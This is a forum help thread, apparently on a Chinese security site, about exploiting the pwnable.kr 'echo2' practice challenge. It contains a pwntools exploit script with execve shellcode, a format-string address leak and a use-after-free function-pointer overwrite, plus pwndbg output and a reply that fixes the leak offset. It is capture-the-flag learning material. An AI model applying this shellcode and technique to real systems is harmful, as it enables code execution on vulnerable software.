首页
社区
课程
招聘
[求助]Pwnable.kr 的 echo2,理解漏洞原理,但是细节总是有问题,求大佬解答。
发表于: 3天前 741

[求助]Pwnable.kr 的 echo2,理解漏洞原理,但是细节总是有问题,求大佬解答。

3天前
741

程序在:nc pwnable.kr 9011
附件我也放了。我的脚本一直不对,感觉地址泄露有问题。

我的利用链如下:

  1. name 处写入 shellcode
  2. 按 2,泄露地址
  3. 按 4 执行 cleanup,按 n 不退出程序
  4. 按 3,用 s 覆写 o 空间
  5. 按 2,调用 o,也就完成了 shell

我的调试如下:

pwndbg> c
Continuing.
hey, what's your name? : shell

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> 2
hello shell
AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p
AAAAAAAA0x6032d10xfbad22880x7fffffffe570(nil)(nil)0x41414141414141410x70257025702570250x70257025702570250x257025702570250x7fffffgoodbye shell

可以看到输入的值在第 6 个位置。

pwndbg> stack 30
00:0000│ rax rsp 0x7fffffffe570 ◂— 'AAAAAAAA%p%p%p%p%p%p%p%p\n'
01:0008│-018     0x7fffffffe578 ◂— '%p%p%p%p%p%p%p%p\n'
02:0010│-010     0x7fffffffe580 ◂— '%p%p%p%p\n'
03:0018│-008     0x7fffffffe588 ◂— 0xa /* '\n' */
04:0020│ rbp     0x7fffffffe590 —▸ 0x7fffffffe5d0 —▸ 0x7fffffffe670 —▸ 0x7fffffffe6d0 ◂— 0
05:0028│+008     0x7fffffffe598 —▸ 0x400acb (main+443) ◂— jmp main+248
06:0030│+010     0x7fffffffe5a0 ◂— 0
07:0038│+018     0x7fffffffe5a8 ◂— 0x200000000
08:0040│+020     0x7fffffffe5b0 ◂— 0x6c6c656873 /* 'shell' */

可以看出,存储名字的地方距离 rbp 是-0x20。

所以格式化字符串泄露自身位置后+0x20 是 rbp 位置,再加0x20 是名字位置,也就是 shellcode。
我的脚本是:

from pwn import *

context.log_level = 'debug'
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
io = process('./echo2')
io.sendlineafter(b'name? :',shellcode)
io.sendlineafter(b'>',str(2).encode())
io.sendline(b'%6$p')
io.recvline()
rbp_addr = int(io.recvline().strip(), 16) + 0x20
print(hex(rbp_addr))
io.sendline(str(4).encode())
io.sendline(b'n')
io.sendline('3')
io.sendline(b'A'*24 + p64(rbp_addr + 0x20))
io.sendline('2')
io.interactive()

但是总不对。


[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

上传的附件:
收藏
免费 0
打赏
分享
最新回复 (1)
雪    币: 1668
活跃值: (310)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
偏移有问题,你已经知道了格式化字符串的偏移是6,怎么会在泄露时选择%6$p作为泄露的对象呢,把偏移改为%10$p,泄露main的rbp地址,还有shellcode的位置应该是rbp-0x20,改一下就能通了
1天前
0
游客
登录 | 注册 方可回帖
返回